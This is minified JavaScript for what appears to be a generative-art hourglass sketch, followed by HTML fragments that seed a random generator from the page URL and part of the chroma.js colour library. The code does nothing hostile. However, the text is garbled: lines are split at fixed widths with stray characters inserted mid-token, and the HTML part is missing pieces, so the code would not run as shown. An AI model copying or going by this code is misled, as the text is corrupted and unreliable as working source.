hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
